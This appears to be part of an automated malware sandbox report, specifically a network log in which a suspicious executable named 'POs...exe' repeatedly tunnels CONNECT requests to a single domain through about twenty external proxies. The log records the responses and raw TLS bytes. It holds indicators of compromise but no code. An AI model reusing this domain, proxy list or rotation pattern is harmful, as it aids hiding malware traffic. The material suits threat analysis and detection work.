Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.583909035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.744925976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	49971	52.196.1.182	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.617820024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.888215065 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:18 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:18.888938904 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5a bd 8d c8 f8 1d 79 0f 83 a3 22 33 68 8e e4 84 2d f2 a7 a1 a4 14 2a f0 ae 39 20 7c 4b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&Zy"3h-9 \|K,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:19.158781052 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 fc fc 4a 96 bb df df d4 1a a2 e9 00 be 9b f4 3f 30 0a 75 b2 83 43 2b 27 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9J?0uC+'DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:19.163172007 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 e6 71 80 4a 8e 2a 54 a9 57 9d 43 14 3c 04 ef 6e 2e 82 1b a9 d9 b5 ab a7 71 60 a6 11 b8 02 35 70 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 d6 93 49 c1 36 38 29 3a fc 56 13 c6 3b a5 00 2f e3 77 91 b3 d2 Data Ascii: %! qJ*TWC<n.q`5p(I68):V;/w_G/Xg
Mar 11, 2024 16:42:19.431205988 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 5c 07 27 e6 ca 50 ce 12 bf fa 47 c5 20 28 88 cc e0 a1 e4 bf b7 c5 7d 45 7d 72 79 7d 99 77 39 3b 53 b5 ed 08 68 63 07 a5 Data Ascii: (\'PG (}E}ry}w9;Shc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	50038	104.20.56.71	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.630667925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.785204887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.11	50042	172.67.53.215	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.632271051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.786340952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.11	49969	195.154.172.161	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.636101007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:18.188550949 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.11	50070	185.238.228.67	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.671972990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.826246977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.11	50090	23.227.38.198	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.679706097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.834094048 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.11	49994	147.75.34.86	10003	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.685276985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.988790989 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.11	50039	137.184.200.42	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.698749065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.11	49951	103.234.27.153	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.731417894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.11	50132	172.67.182.0	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.731611013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.886768103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.11	50129	104.21.194.182	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.734461069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.888501883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.11	50014	95.164.89.123	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.738051891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.040863991 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.11	50119	104.20.123.164	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.738889933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.893174887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.11	49983	182.140.244.163	8118	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.739511967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.11	50023	121.159.146.251	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.741884947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.042037964 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.11	50149	104.16.143.127	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.742203951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.896261930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.11	50065	192.252.208.70	14282	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.743525028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.11	50060	174.64.199.79	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.756710052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.11	50041	51.15.142.4	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.770448923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.407246113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.286184072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.047456980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612874985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142261028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.746383905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.829725027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:53.985415936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.11	50159	162.144.121.232	24787	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

